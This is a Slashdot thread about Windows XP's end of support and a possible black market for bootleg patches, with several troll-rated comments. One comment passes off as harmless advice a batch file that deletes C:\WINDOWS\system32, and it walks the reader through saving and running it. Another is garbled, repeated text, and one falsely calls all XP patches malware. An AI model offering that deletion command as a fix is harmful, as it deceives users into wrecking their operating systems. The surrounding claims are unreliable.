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Slashdot Asks: Will You Need the Windows XP Black Market?

Posted by timothy on from the undead-is-more-like-it dept.

NicknamesAreStupid (1040118) writes "As Whoever57 pointed out, there are some who will still get support for Microsoft Windows XP — the 'haves'. However, most will be the 'have nots.' Anytime you have such market imbalance, there is opportunity. Since Microsoft clearly intends to create a disparity, there will certainly be those who defy it. What will Microsoft do to prevent bootleg patches of XP from being sold to the unwashed masses? How will they stop China from supporting 100 million bootleg XP users? And how easily will it be to crack Microsoft's controls? How big will the Windows XP patch market be?" There are a lot of businesses still on Windows XP; if you work for one of them, will the official end of life spur actually cause you to upgrade? (And if so, to what?)

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  1. Re:A Terrific Opportunity by Lumpy · · Score: -1, Troll

    All of XP patches are malware. XP was at it's most stable before Microsoft started to send out it's "patches"....

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  2. Give up Windows Now. No Excuses! by turgid · · Score: -1, Troll

    I got off the Windows treadmill when Windows 95 came out. I was young, but lucky enough to have some education and some contact with clued-up people and I got the whole Emperor's New Clothes thing.

    I went straight to Slackware Linux (where I still am) which has been a great education and got me into Solaris, Debian, Red Hat, SuSE, CentOS, Gentoo, Ubuntu and MINT.

    I have never needed to run a Windows desktop since. Ever. Period. You can do it, and you can run your DOS and Windows stuff if you really, really need to.

    In 99% of cases it's just fear, ignorance and laziness stopping people getting off of Windows.

    Even Mrs Turgid has found herself at work booted off of Windows/IE/MS Office onto google's cloud stuff. There was no training provided and none required. IE no longer required either.

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  3. Re:NO by Anonymous Coward · · Score: 0, Troll

    As Whoever57 pointed out, there are some who will still get support for Microsoft Windows XP pointed out, there are some who will still get support for Microsoft Windows XP pointed out.

    Pointed out some who will still get support for Microsoft Windows XP pointed out.

  4. Re:A Terrific Opportunity by Number42 · · Score: -1, Troll
    Yeah, Windows XP worked fine before they added system32 under C:\\WINDOWS\. Delete that stuff. It's not necessary in Windows Vista, 7 or 8 either. To delete: 1) Open up Notepad. 2)Type:

    @echo off

    del c:\WINDOWS\system32

    3) Save as "anything.bat" (save as all files). Double-click to run.